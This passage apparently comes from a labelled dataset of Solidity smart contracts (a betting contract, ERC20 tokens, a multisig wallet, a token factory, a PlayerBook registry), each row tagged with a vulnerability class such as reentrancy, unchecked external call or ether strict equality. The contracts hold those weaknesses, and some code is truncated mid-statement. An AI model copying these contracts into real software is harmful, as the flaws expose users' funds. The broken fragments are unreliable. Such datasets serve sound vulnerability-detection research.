another one now (otherwise this would cause // dupe queries). if (now >= CANCELATION_DATE) { cancel(); } else if (nextScheduledQuery == queryId) { callOracle(PING_ORACLE_INTERVAL, ORACLIZE_GAS); } } else { setWinner(parseInt(result)); } } function setWinner(uint winner) private { completed = true; canceled = false; winningOption = winner; winnerDeterminedDate = now; payOwners(); } // Returns the total amounts betted // for the sender function getUserBet(address addr) public constant returns(uint[]) { uint[] memory bets = new uint[](2); bets[betterInfo[addr].betOption] = betterInfo[addr].betAmount; return bets; } // Returns whether a user has withdrawn // money or not. function userHasWithdrawn(address addr) public constant returns(bool) { return betterInfo[addr].withdrawn; } // Returns whether winning collections are // now available, or not. function collectionsAvailable() public constant returns(bool) { return (completed && winningOption != 2 && now >= (winnerDeterminedDate + 600)); // At least 10 mins has to pass between determining winner and enabling payout, so that we have time to revert the bet in case we detect suspicious betting activty (eg. a hacker bets a lot to steal the entire losing pot, and hacks the oracle) } // Returns true if we can bet (in betting window) function canBet() public constant returns(bool) { return (now >= BETTING_OPENS && now < BETTING_CLOSES && !canceled && !completed); } // Function for user to bet on launch // outcome function bet(uint option) public payable { require(canBet() == true); require(msg.value >= MIN_BET); require(betterInfo[msg.sender].betAmount == 0 || betterInfo[msg.sender].betOption == option); // Add better to better list if they // aren't already in it if (betterInfo[msg.sender].betAmount == 0) { betterInfo[msg.sender].betOption = option; numberOfBets[option]++; betters.push(msg.sender); } // Perform bet betterInfo[msg.sender].betAmount += msg.value; totalBetAmount += msg.value; totalAmountsBet[option] += msg.value; BetMade(); // Trigger event } // Empty remainder of the value in the // contract to the owners. function emptyRemainingsToOwners() private canEmptyRemainings { OWNERS.transfer(this.balance); returnedToOwners = true; } function returnToOwners() public onlyOwnerLevel canEmptyRemainings { emptyRemainingsToOwners(); } // Performs payout to owners function payOwners() private canPayOwners { if (COMMISSION == 0) { ownersPayed = true; ownerPayout = 0; if (numberOfBets[winningOption] > 0) { collectionFees = ((oraclizeFees != 0) ? (oraclizeFees / numberOfBets[winningOption] + 1) : 0); // We add 1 wei to act as a ceil for the integer div -- important because the contract cannot afford to lose that spare change, as it will gaurantee that the final payout collection will fail. } return; } // Calculate total pool of ETH // betted for the two outcomes. uint losingChunk = totalAmountsBet[1 - winningOption]; ownerPayout = (losingChunk - oraclizeFees) / COMMISSION; // Payout to the owner; commission of losing pot, minus the same % of the fees if (numberOfBets[winningOption] > 0) { collectionFees = ((oraclizeFees != 0) ? ((oraclizeFees - oraclizeFees / COMMISSION) / numberOfBets[winningOption] + 1) : 0); // The fees to be distributed to the collectors, after owner payout. See reasoning above for adding the 1 wei. } // Equal weight payout to the owners OWNERS.transfer(ownerPayout); ownersPayed = true; } function cancelBet() payable public onlyOwnerLevel { cancel(); } // Cancel bet and relase all the bets back to // the betters if, for any reason, payouts cannot be // completed. (For example Oracle fails.) Triggered by owners. function cancel() private { canceled = true; completed = false; } // Fallback function in case someone sends // ether to the contract so it doesn't get // lost. Could be used by us owners as buffer // value in case payouts fail. function() payable public { } // Function that lets betters collect their // money, either if the bet was canceled, // or if they won. function collect() public collectionsEnabled { address better = msg.sender; require(betterInfo[better].betAmount > 0); require(!betterInfo[better].withdrawn); require(canceled != completed); require(canceled || (completed && betterInfo[better].betOption == winningOption)); require(now >= (winnerDeterminedDate + 600)); uint payout = 0; if (!canceled) { // On top of their original bet, // add in profit, which is a weighted // proportion of the losing pot, relative // to their contribution to the winning pot, // minus owner commission. uint losingChunk = totalAmountsBet[1 - winningOption]; payout = betterInfo[better].betAmount + (betterInfo[better].betAmount * (losingChunk - ownerPayout) / totalAmountsBet[winningOption]) - collectionFees; } else { payout = betterInfo[better].betAmount; } if (payout > 0) { better.transfer(payout); betterInfo[better].withdrawn = true; numCollected++; } } }",./Dataset/ether strict equality (SE),3,3 37233.sol,"pragma solidity ^0.4.8; contract Token { /* This is a slight change to the ERC20 base standard. function totalSupply() constant returns (uint256 supply); is replaced with: uint256 public totalSupply; This automatically creates a getter function for the totalSupply. This is moved to the base contract since public getter functions are not currently recognised as an implementation of the matching abstract function by the compiler. */ /// total amount of tokens uint256 public totalSupply; /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance); /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success); /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success); /// @notice `msg.sender` approves `_spender` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of tokens to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success); /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //require(balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]); require(balances[msg.sender] >= _value); balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]); require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value); balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; } contract HumanStandardToken is StandardToken { /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H0.1'; //human 0.1 standard. Just an arbitrary versioning scheme. function HumanStandardToken( uint256 _initialAmount, string _tokenName, uint8 _decimalUnits, string _tokenSymbol ) { balances[msg.sender] = _initialAmount; // Give the creator all initial tokens totalSupply = _initialAmount; // Update total supply name = _tokenName; // Set the name for display purposes decimals = _decimalUnits; // Amount of decimals for display purposes symbol = _tokenSymbol; // Set the symbol for display purposes } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. require(_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)); return true; } } contract HumanStandardTokenFactory { mapping(address => address[]) public created; mapping(address => bool) public isHumanToken; //verify without having to do a bytecode check. bytes public humanStandardByteCode; function HumanStandardTokenFactory() { //upon creation of the factory, deploy a HumanStandardToken (parameters are meaningless) and store the bytecode provably. address verifiedToken = createHumanStandardToken(10000, ""Verify Token"", 3, ""VTX""); humanStandardByteCode = codeAt(verifiedToken); } //verifies if a contract that has been deployed is a Human Standard Token. //NOTE: This is a very expensive function, and should only be used in an eth_call. ~800k gas function verifyHumanStandardToken(address _tokenContract) constant returns (bool) { bytes memory fetchedTokenByteCode = codeAt(_tokenContract); if (fetchedTokenByteCode.length != humanStandardByteCode.length) { return false; //clear mismatch } //starting iterating through it if lengths match for (uint i = 0; i < fetchedTokenByteCode.length; i ++) { if (fetchedTokenByteCode[i] != humanStandardByteCode[i]) { return false; } } return true; } //for now, keeping this internal. Ideally there should also be a live version of this that any contract can use, lib-style. //retrieves the bytecode at a specific address. function codeAt(address _addr) internal constant returns (bytes o_code) { assembly { // retrieve the size of the code, this needs assembly let size := extcodesize(_addr) // allocate output byte array - this could also be done without assembly // by using o_code = new bytes(size) o_code := mload(0x40) // new ""memory end"" including padding mstore(0x40, add(o_code, and(add(add(size, 0x20), 0x1f), not(0x1f)))) // store length in memory mstore(o_code, size) // actually retrieve the code, this needs assembly extcodecopy(_addr, add(o_code, 0x20), 0, size) } } function createHumanStandardToken(uint256 _initialAmount, string _name, uint8 _decimals, string _symbol) returns (address) { HumanStandardToken newToken = (new HumanStandardToken(_initialAmount, _name, _decimals, _symbol)); created[msg.sender].push(address(newToken)); isHumanToken[address(newToken)] = true; newToken.transfer(msg.sender, _initialAmount); //the factory will own the created tokens. You must transfer them. return address(newToken); } }",./Dataset/reentrancy (RE)/,5,5 36729.sol,"/** * Originally from https://github.com/ConsenSys/MultiSigWallet */ /// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution. /// @author Stefan George - <[email protected]> contract MultiSigWallet { uint constant public MAX_OWNER_COUNT = 50; event Confirmation(address indexed sender, uint indexed transactionId); event Revocation(address indexed sender, uint indexed transactionId); event Submission(uint indexed transactionId); event Execution(uint indexed transactionId); event ExecutionFailure(uint indexed transactionId); event Deposit(address indexed sender, uint value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint required); mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; struct Transaction { address destination; uint value; bytes data; bool executed; } modifier onlyWallet() { if (msg.sender != address(this)) throw; _; } modifier ownerDoesNotExist(address owner) { if (isOwner[owner]) throw; _; } modifier ownerExists(address owner) { if (!isOwner[owner]) throw; _; } modifier transactionExists(uint transactionId) { if (transactions[transactionId].destination == 0) throw; _; } modifier confirmed(uint transactionId, address owner) { if (!confirmations[transactionId][owner]) throw; _; } modifier notConfirmed(uint transactionId, address owner) { if (confirmations[transactionId][owner]) throw; _; } modifier notExecuted(uint transactionId) { if (transactions[transactionId].executed) throw; _; } modifier notNull(address _address) { if (_address == 0) throw; _; } modifier validRequirement(uint ownerCount, uint _required) { if ( ownerCount > MAX_OWNER_COUNT || _required > ownerCount || _required == 0 || ownerCount == 0) throw; _; } /// @dev Fallback function allows to deposit ether. function() payable { if (msg.value > 0) Deposit(msg.sender, msg.value); } /* * Public functions */ /// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. function MultiSigWallet(address[] _owners, uint _required) public validRequirement(_owners.length, _required) { for (uint i=0; i<_owners.length; i++) { if (isOwner[_owners[i]] || _owners[i] == 0) throw; isOwner[_owners[i]] = true; } owners = _owners; required = _required; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint i=0; i owners.length) changeRequirement(owners.length); OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param owner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i=0; i= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } //name this contract whatever you'd like contract Koin is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name = 'Koin'; //fancy name: eg Simon Bucks uint8 public decimals = 18; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol = 'KOIN'; //An identifier: eg SBX string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. // // CHANGE THESE VALUES FOR YOUR TOKEN // //make sure this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of ERC20Token function Koin( ) { balances[msg.sender] = 1000000000000000000000000000000000; // Give the creator all initial tokens (100000 for example) totalSupply = 1000000000000000000000000000000000; // Update total supply (100000 for example) name = ""Koin""; // Set the name for display purposes decimals = 18; // Amount of decimals for display purposes symbol = ""KOIN""; // Set the symbol for display purposes } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",./Dataset/unchecked external call (UC),7,7 39068.sol,"pragma solidity ^0.4.8; contract Owned { address public owner; function changeOwner(address _addr) onlyOwner { if (_addr == 0x0) throw; owner = _addr; } modifier onlyOwner { if (msg.sender != owner) throw; _; } } contract Mutex is Owned { bool locked = false; modifier mutexed { if (locked) throw; locked = true; _; locked = false; } function unMutex() onlyOwner { locked = false; } } contract Rental is Owned { function Rental(address _owner) { if (_owner == 0x0) throw; owner = _owner; } function offer(address from, uint num) { } function claimBalance(address) returns(uint) { return 0; } function exec(address dest) onlyOwner { if (!dest.call(msg.data)) throw; } } contract Token is Owned, Mutex { uint ONE = 10**8; uint price = 5000; Ledger ledger; Rental rentalContract; uint8 rollOverTime = 4; uint8 startTime = 8; bool live = false; address club; uint lockedSupply = 0; string public name = ""Legends""; uint8 public decimals = 8; string public symbol = ""LGD""; string public version = '1.1'; bool transfersOn = false; modifier onlyInputWords(uint n) { if (msg.data.length != (32 * n) + 4) throw; _; } function Token() { owner = msg.sender; } /* * Bookkeeping and Admin Functions */ event LedgerUpdated(address,address); function changeClub(address _addr) onlyOwner { if (_addr == 0x0) throw; club = _addr; } function changePrice(uint _num) onlyOwner { price = _num; } function safeAdd(uint a, uint b) returns (uint) { if ((a + b) < a) throw; return (a + b); } function changeLedger(address _addr) onlyOwner { if (_addr == 0x0) throw; LedgerUpdated(msg.sender, _addr); ledger = Ledger(_addr); } function changeRental(address _addr) onlyOwner { if (_addr == 0x0) throw; rentalContract = Rental(_addr); } function changeTimes(uint8 _rollOver, uint8 _start) onlyOwner { rollOverTime = _rollOver; startTime = _start; } /* * Locking is a feature that turns a user's balances into * un-issued tokens, taking them out of an account and reducing the supply. * Diluting is so named to remind the caller that they are changing the money supply. */ function lock(address _seizeAddr) onlyOwner mutexed { uint myBalance = ledger.balanceOf(_seizeAddr); lockedSupply += myBalance; ledger.setBalance(_seizeAddr, 0); } event Dilution(address, uint); function dilute(address _destAddr, uint amount) onlyOwner { if (amount > lockedSupply) throw; Dilution(_destAddr, amount); lockedSupply -= amount; uint curBalance = ledger.balanceOf(_destAddr); curBalance = safeAdd(amount, curBalance); ledger.setBalance(_destAddr, curBalance); } /* * Crowdsale -- * */ function completeCrowdsale() onlyOwner { // Lock unsold tokens // allow transfers for arbitrary owners transfersOn = true; lock(owner); } function pauseTransfers() onlyOwner { transfersOn = false; } function resumeTransfers() onlyOwner { transfersOn = true; } /* * Renting -- Logic TBD later. For now, we trust the rental contract * to manage everything about the rentals, including bookkeeping on earnings * and returning tokens. */ function rentOut(uint num) { if (ledger.balanceOf(msg.sender) < num) throw; rentalContract.offer(msg.sender, num); ledger.tokenTransfer(msg.sender, rentalContract, num); } function claimUnrented() { uint amount = rentalContract.claimBalance(msg.sender); // this should reduce sender's claimableBalance to 0 ledger.tokenTransfer(rentalContract, msg.sender, amount); } /* * Burning -- We allow any user to burn tokens. * */ function burn(uint _amount) { uint balance = ledger.balanceOf(msg.sender); if (_amount > balance) throw; ledger.setBalance(msg.sender, balance - _amount); } /* Entry */ function checkIn(uint _numCheckins) returns(bool) { int needed = int(price * ONE* _numCheckins); if (int(ledger.balanceOf(msg.sender)) > needed) { ledger.changeUsed(msg.sender, needed); return true; } return false; } // ERC20 Support. This could also use the fallback but // I prefer the control for now. event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function totalSupply() constant returns(uint) { return ledger.totalSupply(); } function transfer(address _to, uint _amount) onlyInputWords(2) returns(bool) { if (!transfersOn && msg.sender != owner) return false; if (!ledger.tokenTransfer(msg.sender, _to, _amount)) { return false; } Transfer(msg.sender, _to, _amount); return true; } function transferFrom(address _from, address _to, uint _amount) onlyInputWords(3) returns (bool) { if (!transfersOn && msg.sender != owner) return false; if (! ledger.tokenTransferFrom(msg.sender, _from, _to, _amount) ) { return false;} Transfer(msg.sender, _to, _amount); return true; } function allowance(address _from, address _to) constant returns(uint) { return ledger.allowance(_from, _to); } function approve(address _spender, uint _value) returns (bool) { if ( ledger.tokenApprove(msg.sender, _spender, _value) ) { Approval(msg.sender, _spender, _value); return true; } return false; } function balanceOf(address _addr) constant returns(uint) { return ledger.balanceOf(_addr); } } contract Ledger is Owned { uint ONE = 10**8; uint preMined = 30000000; mapping (address => uint) balances; mapping (address => uint) usedToday; mapping (address => bool) seenHere; address[] public seenHereA; mapping (address => mapping (address => uint256)) allowed; address token; uint public totalSupply = 0; function Ledger() { owner = msg.sender; seenHere[owner] = true; seenHereA.push(owner); totalSupply = preMined *ONE; balances[owner] = totalSupply; } modifier onlyToken { if (msg.sender != token) throw; _; } modifier onlyTokenOrOwner { if (msg.sender != token && msg.sender != owner) throw; _; } function tokenTransfer(address _from, address _to, uint amount) onlyToken returns(bool) { if (amount > balances[_from]) return false; if ((balances[_to] + amount) < balances[_to]) return false; if (amount == 0) { return false; } balances[_from] -= amount; balances[_to] += amount; if (seenHere[_to] == false) { seenHereA.push(_to); seenHere[_to] = true; } return true; } function tokenTransferFrom(address _sender, address _from, address _to, uint amount) onlyToken returns(bool) { if (allowed[_from][_sender] <= amount) return false; if (amount > balanceOf(_from)) return false; if (amount == 0) return false; if ((balances[_to] + amount) < amount) return false; balances[_from] -= amount; balances[_to] += amount; allowed[_from][_sender] -= amount; if (seenHere[_to] == false) { seenHereA.push(_to); seenHere[_to] = true; } return true; } function changeUsed(address _addr, int amount) onlyToken { int myToday = int(usedToday[_addr]) + amount; usedToday[_addr] = uint(myToday); } function resetUsedToday(uint8 startI, uint8 numTimes) onlyTokenOrOwner returns(uint8) { uint8 numDeleted; for (uint i = 0; i < numTimes && i + startI < seenHereA.length; i++) { if (usedToday[seenHereA[i+startI]] != 0) { delete usedToday[seenHereA[i+startI]]; numDeleted++; } } return numDeleted; } function balanceOf(address _addr) constant returns (uint) { // don't forget to subtract usedToday if (usedToday[_addr] >= balances[_addr]) { return 0;} return balances[_addr] - usedToday[_addr]; } event Approval(address, address, uint); function tokenApprove(address _from, address _spender, uint256 _value) onlyToken returns (bool) { allowed[_from][_spender] = _value; Approval(_from, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } function changeToken(address _token) onlyOwner { token = Token(_token); } function reduceTotalSupply(uint amount) onlyToken { if (amount > totalSupply) throw; totalSupply -= amount; } function setBalance(address _addr, uint amount) onlyTokenOrOwner { if (balances[_addr] == amount) { return; } if (balances[_addr] < amount) { // increasing totalSupply uint increase = amount - balances[_addr]; totalSupply += increase; } else { // decreasing totalSupply uint decrease = balances[_addr] - amount; //TODO: safeSub totalSupply -= decrease; } balances[_addr] = amount; } }",./Dataset/unchecked external call (UC),7,7 1523.sol,"pragma solidity ^0.4.24; interface PlayerBookReceiverInterface { function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external; function receivePlayerNameList(uint256 _pID, bytes32 _name) external; } contract PlayerBook { using NameFilter for string; using SafeMath for uint256; address private admin = msg.sender; address private com = msg.sender; //============================================================================== // _| _ _|_ _ _ _ _|_ _ . // (_|(_| | (_| _\(/_ | |_||_) . //=============================|================================================ uint256 public registrationFee_ = 10 finney; // price to register a name mapping(uint256 => PlayerBookReceiverInterface) public games_; // mapping of our game interfaces for sending your account info to games mapping(address => bytes32) public gameNames_; // lookup a games name mapping(address => uint256) public gameIDs_; // lokup a games ID uint256 public gID_; // total number of games uint256 public pID_; // total number of players mapping (address => uint256) public pIDxAddr_; // (addr => pID) returns player id by address mapping (bytes32 => uint256) public pIDxName_; // (name => pID) returns player id by name mapping (uint256 => Player) public plyr_; // (pID => data) player data mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; // (pID => name => bool) list of names a player owns. (used so you can change your display name amoungst any name you own) mapping (uint256 => mapping (uint256 => bytes32)) public plyrNameList_; // (pID => nameNum => name) list of names a player owns struct Player { address addr; bytes32 name; uint256 laff; uint256 names; } //============================================================================== // _ _ _ __|_ _ __|_ _ _ . // (_(_)| |_\ | | |_|(_ | (_)| . (initial data setup upon contract deploy) //============================================================================== constructor() public { // premine the dev names (sorry not sorry) // No keys are purchased with this method, it's simply locking our addresses, // PID's and names for referral codes. plyr_[1].addr = com; plyr_[1].name = ""play""; plyr_[1].names = 1; pIDxAddr_[com] = 1; pIDxName_[""play""] = 1; plyrNames_[1][""play""] = true; plyrNameList_[1][1] = ""play""; pID_ = 1; } //============================================================================== // _ _ _ _|. |`. _ _ _ . // | | |(_)(_||~|~|(/_| _\ . (these are safety checks) //============================================================================== /** * @dev prevents contracts from interacting with fomo3d */ modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, ""sorry humans only""); _; } modifier isRegisteredGame() { require(gameIDs_[msg.sender] != 0); _; } //============================================================================== // _ _ _ _|_ _ . // (/_\/(/_| | | _\ . //============================================================================== // fired whenever a player registers a name event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); function checkIfNameValid(string _nameStr) public view returns(bool) { bytes32 _name = _nameStr.nameFilter(); if (pIDxName_[_name] == 0) return (true); else return (false); } //============================================================================== // _ |_ |. _ |` _ __|_. _ _ _ . // |_)|_||_)||(_ ~|~|_|| |(_ | |(_)| |_\ . (use these to interact with contract) //====|========================================================================= /** * @dev registers a name. UI will always display the last name you registered. * but you will still own all previously registered names to use as affiliate * links. * - must pay a registration fee. * - name must be unique * - names will be converted to lowercase * - name cannot start or end with a space * - cannot have more than 1 space in a row * - cannot be only numbers * - cannot start with 0x * - name must be at least 1 char * - max length of 32 characters long * - allowed characters: a-z, 0-9, and space * -functionhash- 0x921dec21 (using ID for affiliate) * -functionhash- 0x3ddd4698 (using address for affiliate) * -functionhash- 0x685ffd83 (using name for affiliate) * @param _nameString players desired name * @param _affCode affiliate ID, address, or name of who refered you * @param _all set to true if you want this to push your info to all games * (this might cost a lot of gas) */ function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { // make sure name fees paid require (msg.value >= registrationFee_, ""umm..... you have to pay the name fee""); // filter name + condition checks bytes32 _name = NameFilter.nameFilter(_nameString); // set up address address _addr = msg.sender; // set up our tx event data and determine if player is new or not bool _isNewPlayer = determinePID(_addr); // fetch player id uint256 _pID = pIDxAddr_[_addr]; // manage affiliate residuals // if no affiliate code was given, no new affiliate code was given, or the // player tried to use their own pID as an affiliate code, lolz if (_affCode != 0 && _affCode != plyr_[_pID].laff && _affCode != _pID) { // update last affiliate plyr_[_pID].laff = _affCode; } else if (_affCode == _pID) { _affCode = 0; } // register name registerNameCore(_pID, _addr, _affCode, _name, _isNewPlayer, _all); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { // make sure name fees paid require (msg.value >= registrationFee_, ""umm..... you have to pay the name fee""); // filter name + condition checks bytes32 _name = NameFilter.nameFilter(_nameString); // set up address address _addr = msg.sender; // set up our tx event data and determine if player is new or not bool _isNewPlayer = determinePID(_addr); // fetch player id uint256 _pID = pIDxAddr_[_addr]; // manage affiliate residuals // if no affiliate code was given or player tried to use their own, lolz uint256 _affID; if (_affCode != address(0) && _affCode != _addr) { // get affiliate ID from aff Code _affID = pIDxAddr_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // register name registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { // make sure name fees paid require (msg.value >= registrationFee_, ""umm..... you have to pay the name fee""); // filter name + condition checks bytes32 _name = NameFilter.nameFilter(_nameString); // set up address address _addr = msg.sender; // set up our tx event data and determine if player is new or not bool _isNewPlayer = determinePID(_addr); // fetch player id uint256 _pID = pIDxAddr_[_addr]; // manage affiliate residuals // if no affiliate code was given or player tried to use their own, lolz uint256 _affID; if (_affCode != """" && _affCode != _name) { // get affiliate ID from aff Code _affID = pIDxName_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // register name registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); } /** * @dev players, if you registered a profile, before a game was released, or * set the all bool to false when you registered, use this function to push * your profile to a single game. also, if you've updated your name, you * can use this to push your name to games of your choosing. * -functionhash- 0x81c5b206 * @param _gameID game id */ function addMeToGame(uint256 _gameID) isHuman() public { require(_gameID <= gID_, ""silly player, that game doesn't exist yet""); address _addr = msg.sender; uint256 _pID = pIDxAddr_[_addr]; require(_pID != 0, ""hey there buddy, you dont even have an account""); uint256 _totalNames = plyr_[_pID].names; // add players profile and most recent name games_[_gameID].receivePlayerInfo(_pID, _addr, plyr_[_pID].name, plyr_[_pID].laff); // add list of all names if (_totalNames > 1) for (uint256 ii = 1; ii <= _totalNames; ii++) games_[_gameID].receivePlayerNameList(_pID, plyrNameList_[_pID][ii]); } /** * @dev players, use this to push your player profile to all registered games. * -functionhash- 0x0c6940ea */ function addMeToAllGames() isHuman() public { address _addr = msg.sender; uint256 _pID = pIDxAddr_[_addr]; require(_pID != 0, ""hey there buddy, you dont even have an account""); uint256 _laff = plyr_[_pID].laff; uint256 _totalNames = plyr_[_pID].names; bytes32 _name = plyr_[_pID].name; for (uint256 i = 1; i <= gID_; i++) { games_[i].receivePlayerInfo(_pID, _addr, _name, _laff); if (_totalNames > 1) for (uint256 ii = 1; ii <= _totalNames; ii++) games_[i].receivePlayerNameList(_pID, plyrNameList_[_pID][ii]); } } /** * @dev players use this to change back to one of your old names. tip, you'll * still need to push that info to existing games. * -functionhash- 0xb9291296 * @param _nameString the name you want to use */ function useMyOldName(string _nameString) isHuman() public { // filter name, and get pID bytes32 _name = _nameString.nameFilter(); uint256 _pID = pIDxAddr_[msg.sender]; // make sure they own the name require(plyrNames_[_pID][_name] == true, ""umm... thats not a name you own""); // update their current name plyr_[_pID].name = _name; } //============================================================================== // _ _ _ _ | _ _ . _ . // (_(_)| (/_ |(_)(_||(_ . //=====================_|======================================================= function registerNameCore(uint256 _pID, address _addr, uint256 _affID, bytes32 _name, bool _isNewPlayer, bool _all) private { // if names already has been used, require that current msg sender owns the name if (pIDxName_[_name] != 0) require(plyrNames_[_pID][_name] == true, ""sorry that names already taken""); // add name to player profile, registry, and name book plyr_[_pID].name = _name; pIDxName_[_name] = _pID; if (plyrNames_[_pID][_name] == false) { plyrNames_[_pID][_name] = true; plyr_[_pID].names++; plyrNameList_[_pID][plyr_[_pID].names] = _name; } // registration fee goes directly to community rewards com.transfer(address(this).balance); // push player info to games if (_all == true) for (uint256 i = 1; i <= gID_; i++) games_[i].receivePlayerInfo(_pID, _addr, _name, _affID); // fire event emit onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, msg.value, now); } //============================================================================== // _|_ _ _ | _ . // | (_)(_)|_\ . //============================================================================== function determinePID(address _addr) private returns (bool) { if 